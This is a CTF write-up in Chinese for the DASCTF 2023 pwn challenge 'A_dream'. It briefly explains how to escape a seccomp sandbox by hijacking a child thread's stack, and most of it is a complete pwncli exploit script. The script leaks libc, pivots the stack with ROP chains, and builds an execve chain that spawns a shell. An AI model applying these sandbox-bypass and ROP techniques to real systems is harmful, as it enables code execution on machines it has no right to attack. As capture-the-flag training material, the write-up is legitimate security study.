A_dream
DASCTF_2023_6_二进制专项 A_dream
代码审计
一绿一黄两红,栈题里比较阳间的防护。
题目逻辑非常简单,不说了。
沙箱非常阴间不能open,但是这个沙箱是在启动了子线程之后才开启的,似乎不能影响到子线程。
子线程和主线程的栈段是相互独立的,而且子线程的栈是在libc附近。因此这题的思路是在主线程泄露了libc后去打子线程的栈,通过劫持子线程的执行流避开主线程的沙箱获取shell。
EXP
#!/usr/bin/python3
#coding=utf-8
from pwncli import *
cli_script()
io: tube = gift.io
elf: ELF = gift.elf
libc: ELF = gift.libc
filename = gift.filename # current filename
is_debug = gift.debug # is debug or not
is_remote = gift.remote # is remote or not
gdb_pid = gift.gdb_pid # gdb pid if debug
CurrentGadgets.set_find_area(1,0)
# 0x000000000040123d : pop rbp ; ret
# 0x0000000000401483 : pop rdi ; ret
# 0x0000000000401481 : pop rsi ; pop r15 ; ret
# 0x000000000040147d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
# 0x0000000000401016 : add rsp, 8 ; ret
pop_rbp=0x000000000040123d
pop_rdi=0x0000000000401483
pop_rsi_r15=0x0000000000401481
add_rsp=0x0000000000401016
read_rbp=0x04013AE
read_plt=elf.plt['read']
read_got=elf.got['read']
write_got=elf.got['write']
sleep_got=elf.got['sleep']
sleep_plt=elf.got['sleep']
puts_got=elf.got['puts']
puts_plt=elf.got['puts']
pop_6=0x040147A
call=0x401460
leave=0x4013C5
ret=leave+1
pl=flat({
0x40:0x404800+0x40,
0x48:p64(read_rbp)
},filler='\x00')
s(pl)
#0x404b00,
pl1=flat({
0:[
p64(pop_6),
p64(0),p64(1),p64(0),p64(0x404848),p64(0x200),p64(read_got),
call
],
0x40:0x404800-8,
0x48:p64(leave)
},filler='\x00')
s(pl1)
syscall=0x404048
pl2=flat({
0:[p64(0),p64(1),p64(0),p64(0x404048),p64(0x1),p64(read_got),p64(call)],
56+8:[p64(0),p64(1),p64(1),p64(0x404060),p64(0x8),p64(write_got),p64(call)],
(56+8)*2:[p64(0),p64(1),p64(0),p64(0x404848+(56+8)*3),p64(0x200),p64(read_got),p64(call)],
0x200-8:p64(0)
},filler='\x00')
s(pl2)
s('\x99')
#leak1=u64(ru('\x7f')[-6:].ljust(8,b'\x00'))
libc_base = recv_current_libc_addr(libc.sym.sleep,0x100)
#libc_base=leak1-libc.sym['sleep']
libc.address =libc_base
CurrentGadgets.set_find_area(1,1)
print(hex(libc_base))
pop_rax=libc_base+0x0000000000036174
#pop_rax=0x0000000000047400+libc_base
one=[0xe3b2e,0xe3b31,0xe3b34]
#one=[0xe3afe,0xe3b01,0xe3b04]
one1=one[0]+libc_base
pl3=flat({
48:{
0:CurrentGadgets.read_chain(0,libc_base-0x4120,0x100),#[p64(pop_rdi),p64(0),p64(add_rsp),p64(add_rsp),p64(pop_rsi_r15),p64(libc_base-0x4110),p64(0)],
#7*8:p64(add_rsp)*int(0x28/8),
len(CurrentGadgets.read_chain(0,libc_base-0x4120,0x100)):[p64(pop_rbp),p64(0x404930),p64(leave)],
},
#48:[p64(pop_6),p64(0),p64(1),p64(0),p64(libc_base-0x4110),p64(0x11*8),p64(read_got),p64(call)],
#48+8*8+7*8:p64(pop_rbp)+p64(0x404930)+p64(leave),
#p64(pop_rbp),p64(0x404930),p64(leave)
0x200-8:p64(0)
},filler='\x00')
s(pl3)
pl4=flat({
0:p64(leave+1)*0x10+CurrentGadgets.execve_chain()#+p64(one1)
},filler='\x00')
for i in range(0x10):
s(pl4)
#s(p64(one1))
#sleep(1)
#sl('cat flag')
ia()